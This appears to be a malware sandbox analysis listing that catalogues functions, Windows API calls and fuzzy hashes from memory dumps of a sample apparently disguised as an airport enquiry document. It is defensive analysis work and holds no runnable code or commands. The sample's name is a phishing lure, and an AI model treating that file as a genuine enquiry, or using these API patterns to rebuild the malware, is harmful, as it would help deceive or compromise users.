Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 795c9a70167f84b400b707eb495e86e2625af125feefc0f3ff40a68f9fa28554
Instruction ID: 2d5874157085a058192dc32560b1b42b026b6b31fd1ca7d606bf9ee55d63ef9a
Opcode Fuzzy Hash: 795c9a70167f84b400b707eb495e86e2625af125feefc0f3ff40a68f9fa28554
Instruction Fuzzy Hash: 0DD0C73460031BCFCB318F31C9083027AE4BF14341B22C83AA49AC2A90E6B0C8C0CA62

Function 00CC1B3E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00CC1B42
__swprintf.LIBCMT ref: 00CC1B73

Strings

WIN_XPe, xrefs: 00CC1BB2
%.3d, xrefs: 00CC1B4D

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 0f769f5414b8849ff1cbdc653f2ffa5bb6d0c36d4d00e856275dd22d9ac8d080
Instruction ID: 16133e8b072d8b9275c89ed6764c6d7692d5c755f19f3097aea5bc13b0576468
Opcode Fuzzy Hash: 0f769f5414b8849ff1cbdc653f2ffa5bb6d0c36d4d00e856275dd22d9ac8d080
Instruction Fuzzy Hash: 88D0ECA1804118EBCA14AA93D864EB9737CA705301F180596F906D1441F2349F84AF25

Function 00CD76C5 Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5941aaca9e7184469c6548a728d79a9943860f0282327452943f368d37e109aa
Instruction ID: 572f83c57e4a67e9ab91cac6553a2d83ed59f99d005e5aafcce6ff63210e0d2e
Opcode Fuzzy Hash: 5941aaca9e7184469c6548a728d79a9943860f0282327452943f368d37e109aa
Instruction Fuzzy Hash: 10C17E75A04216EFCB14CF94C888EAEB7B5FF48710B11869AE915EB351E730DE81DB90

Function 00CFE33E Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00CFE3D2
CharLowerBuffW.USER32(?,?), ref: 00CFE415

Part of subcall function 00CFDAB9: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00CFDAD9

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00CFE615
_memmove.LIBCMT ref: 00CFE628

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 93d6343174b8cfacc593000767b9fbd6b7004ceafe833c002143487d50529d70
Instruction ID: 4410acda66c1d3ed68cc1d754efca11102da196ca6836e7c739f5740a681815b
Opcode Fuzzy Hash: 93d6343174b8cfacc593000767b9fbd6b7004ceafe833c002143487d50529d70
Instruction Fuzzy Hash: B7C16A716083058FC754DF28C48096ABBE4FF89718F14896EF999DB361D731EA46CB82

Function 00CF83A8 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00CF83D8
CoUninitialize.OLE32 ref: 00CF83E3

Part of subcall function 00CDDA5D: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00CDDAC5

VariantInit.OLEAUT32(?), ref: 00CF83EE
VariantClear.OLEAUT32(?), ref: 00CF86BF

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: e0a98e78348aa143afa78a5e92c11e2c1ba7ffeb12016554123be63d594cdff4
Instruction ID: db5ebfd291888019eae354b884f025b2a9f3277d43f9df99e124f5bbc49dc976
Opcode Fuzzy Hash: e0a98e78348aa143afa78a5e92c11e2c1ba7ffeb12016554123be63d594cdff4
Instruction Fuzzy Hash: E3A135752047059FDB50EF15C885B2AB7E4FF88318F188449FA9A9B3A1CB30ED05DB56

Function 00CD7A78 Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00D12C7C,?), ref: 00CD7C32
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00D12C7C,?), ref: 00CD7C4A
CLSIDFromProgID.OLE32(?,?,00000000,00D0FB80,000000FF,?,00000000,00000800,00000000,?,00D12C7C,?), ref: 00CD7C6F
_memcmp.LIBCMT ref: 00CD7C90

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 0e28387f41b7449ca286c0359b4417542fd22c86b2b6155f1bfdda65ee918486
Instruction ID: d9f9466c21dd879d3c50424f65b85d25da57a55e51b959ae35a8455c0a1679d6
Opcode Fuzzy Hash: 0e28387f41b7449ca286c0359b4417542fd22c86b2b6155f1bfdda65ee918486
Instruction Fuzzy Hash: C8811C71A00109EFCB04DF94C984EEEB7B9FF89315F204199F516AB250EB71AE46CB60

Function 00CD6DF3 Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00CD6E04
SysAllocString.OLEAUT32(00000000), ref: 00CD6EAD
VariantCopy.OLEAUT32 ref: 00CD6EDC
VariantClear.OLEAUT32(?), ref: 00CD6F03

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 5a6ea6c0e112d9f14dca4c396ba77c5e5c4337300bf9c9622775652e08aa5ccd
Instruction ID: 0474eac404dd5307cfc94486a9775beca887d7f8f8eddbc67de18a55fd9d8838
Opcode Fuzzy Hash: 5a6ea6c0e112d9f14dca4c396ba77c5e5c4337300bf9c9622775652e08aa5ccd
Instruction Fuzzy Hash: 4451BA306087019ADB34AF66D895B3EF3E5AF48310F24891FEA56CB7D1EB709840EB55

Function 00D09A63 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00D09AD2
ScreenToClient.USER32(00000002,00000002), ref: 00D09B05
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00D09B72

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: c0cdb5ef50bc463e5fdebe90902fe785b3f15b60ee410dc7ccf587fa56bf2c87
Instruction ID: de0cb2a8c31c191f750e2012f94af118362ddc9a7cc09ca2e7f8dedb1148ee84
Opcode Fuzzy Hash: c0cdb5ef50bc463e5fdebe90902fe785b3f15b60ee410dc7ccf587fa56bf2c87
Instruction Fuzzy Hash: FA511D34A00209EFCF20DF68D891AAEBBB5FB55324F148159F8599B2D1D731AD81CB61

Function 00CF6CBD Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00CF6CE4
WSAGetLastError.WSOCK32(00000000), ref: 00CF6CF4

Part of subcall function 00C89997: __itow.LIBCMT ref: 00C899C2
Part of subcall function 00C89997: __swprintf.LIBCMT ref: 00C89A0C

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00CF6D58
WSAGetLastError.WSOCK32(00000000), ref: 00CF6D64

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 8b3bb92c2eb668578e40cd4f9bb11c3b0e4ee28c11e7a9a06ea5255942a55fc3
Instruction ID: d094884809237fe9a9ae42ac81d0bb94fcd9d062026b64a0be9a3a8ee6c4d959
Opcode Fuzzy Hash: 8b3bb92c2eb668578e40cd4f9bb11c3b0e4ee28c11e7a9a06ea5255942a55fc3
Instruction Fuzzy Hash: 7641A074740200AFEB20BF24DC86F7A77A5DB44B18F548018FA599B3D2DB759D009B96

Function 00CF672D Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00D0F910), ref: 00CF67BA
_strlen.LIBCMT ref: 00CF67EC

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 5ff397f53450293fea79c9780609cdb95f0a623503caa2ad1fc1d946890faee4
Instruction ID: e835e07875a1300fcc86350036e0d5763df37b023980d711b32da311c1e2b2de
Opcode Fuzzy Hash: 5ff397f53450293fea79c9780609cdb95f0a623503caa2ad1fc1d946890faee4
Instruction Fuzzy Hash: 6641A231A00108ABCB14FBA4DCC5FBEB3A9EF48354F148169FA1A972D2DB30AD04E755

Function 00CEBA5F Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00CEBB09
GetLastError.KERNEL32(?,00000000), ref: 00CEBB2F
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00CEBB54
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00CEBB80

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: ade1a41c191bf2462d8cba729630a557a21987bb53c965dfb224d4cf0bfd3c99
Instruction ID: d6b8323fea6903267a5d1f92521849563b3f909409d585f7271f160052430b1f
Opcode Fuzzy Hash: ade1a41c191bf2462d8cba729630a557a21987bb53c965dfb224d4cf0bfd3c99
Instruction Fuzzy Hash: E6412939200650DFCF20EF15C584A6EBBE1EF49314B198498EC4A9B762CB34FD01EB95

Function 00D08AC0 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00D08B4D

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 251f69454cf58469b6a1fd094727faa4a76cd217d63ffbc20c08ab49f34b87c8
Instruction ID: deb069900608c49491e811fa3144ce9333ec87a3e398d5d18079e081ef689c07
Opcode Fuzzy Hash: 251f69454cf58469b6a1fd094727faa4a76cd217d63ffbc20c08ab49f34b87c8
Instruction Fuzzy Hash: 5D3190B4600304BFEB209F18CC85BA93BA4EB06320F684516FAD9D67E1DE31E940A775

Function 00D0ADF1 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00D0AE1A
GetWindowRect.USER32(?,?), ref: 00D0AE90
PtInRect.USER32(?,?,00D0C304), ref: 00D0AEA0
MessageBeep.USER32(00000000), ref: 00D0AF11

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 1ecc10ec8ba7073a52c4be60371b38ca98f8f40ec726df0c27b2f09258e5e410
Instruction ID: 84184794edffc126435336447277235aaee1851cd92fa1f0c1c5af73f6925533
Opcode Fuzzy Hash: 1ecc10ec8ba7073a52c4be60371b38ca98f8f40ec726df0c27b2f09258e5e410
Instruction Fuzzy Hash: 9B411874A003199FCB11DF58C884BA97BF5FB4A350F2881A9F819DB391D731E941DB62

Function 00CE0FE6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00CE1037
SetKeyboardState.USER32(00000080,?,00000001), ref: 00CE1053
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00CE10B9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00CE110B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 2d29b6232bb73c2a44ec6c67a2f0607b42b9d6b752d20621897f820ba1ffc6df
Instruction ID: 23d2319de2e1cd99a3dbd9c11e8319ecfe12dcdbd689afae965936754a1460bb
Opcode Fuzzy Hash: 2d29b6232bb73c2a44ec6c67a2f0607b42b9d6b752d20621897f820ba1ffc6df
Instruction Fuzzy Hash: 98314D30E446C8AEFF308B678C05BFDBBA9AB45310F1C421AE9A5525D1C3758AE49761

Function 00CE1121 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00CE1176
SetKeyboardState.USER32(00000080,?,00008000), ref: 00CE1192
PostMessageW.USER32(00000000,00000101,00000000), ref: 00CE11F1
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00CE1243

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 2cb56b0c760142bffdf210aebd398347d42c037329cce31da22aa22288b5a98d
Instruction ID: ea62e03e9cc5561257b6dd30c3d06fc1b5ad002b10335c206101fb1baeeaca0f
Opcode Fuzzy Hash: 2cb56b0c760142bffdf210aebd398347d42c037329cce31da22aa22288b5a98d
Instruction Fuzzy Hash: 61312B30A407885AEF348B67CC097FE7BAAAB49310F1C431AEAA5925D1C3748AA59751

Function 00CB6415 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00CB644B
__isleadbyte_l.LIBCMT ref: 00CB6479
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00CB64A7
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00CB64DD

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: ede988f587fa315f6aea9c3dfeade09fe1e8fd8a504ecb4dc48e2587fd9fd999
Instruction ID: bd675139bc2703b536f71edae246c46808b7825dde7d0c8d69148cd42b533629
Opcode Fuzzy Hash: ede988f587fa315f6aea9c3dfeade09fe1e8fd8a504ecb4dc48e2587fd9fd999
Instruction Fuzzy Hash: 3F31DE31600646AFDB22CF75C844BEB7BA9FF41310F154429F868871A0EB39D951DF90

Function 00D05175 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00D05189

Part of subcall function 00CE387D: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00CE3897
Part of subcall function 00CE387D: GetCurrentThreadId.KERNEL32 ref: 00CE389E
Part of subcall function 00CE387D: AttachThreadInput.USER32(00000000,?,00CE52A7), ref: 00CE38A5

GetCaretPos.USER32(?), ref: 00D0519A
ClientToScreen.USER32(00000000,?), ref: 00D051D5
GetForegroundWindow.USER32 ref: 00D051DB

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: e6f10d7a48ef714d155690a43f4d8f463c4a0aeb9bed8fcfb42f963f3912f302
Instruction ID: 674885def440321ec3ee8a76fcb7eadf2ef47638de2a69b843ca5d085614fe7c
Opcode Fuzzy Hash: e6f10d7a48ef714d155690a43f4d8f463c4a0aeb9bed8fcfb42f963f3912f302
Instruction Fuzzy Hash: 4B314F71D00208AFCB10EFA5C885AEFB7F9EF88304F14406AE406E7241DA759E00DBA1

Function 00D0C788 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C82612: GetWindowLongW.USER32(?,000000EB), ref: 00C82623

GetCursorPos.USER32(?), ref: 00D0C7C2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00CBBBFB,?,?,?,?,?), ref: 00D0C7D7
GetCursorPos.USER32(?), ref: 00D0C824
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00CBBBFB,?,?,?), ref: 00D0C85E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 2044ac1acbdd8398ddb834073957dbd70f85f825d48f54d3965bfe06ab7abb36
Instruction ID: 3eba1eadf21f764dc7a8b0a646b4c76bc7a814a67bcca3533a0398d949c49f30
Opcode Fuzzy Hash: 2044ac1acbdd8398ddb834073957dbd70f85f825d48f54d3965bfe06ab7abb36
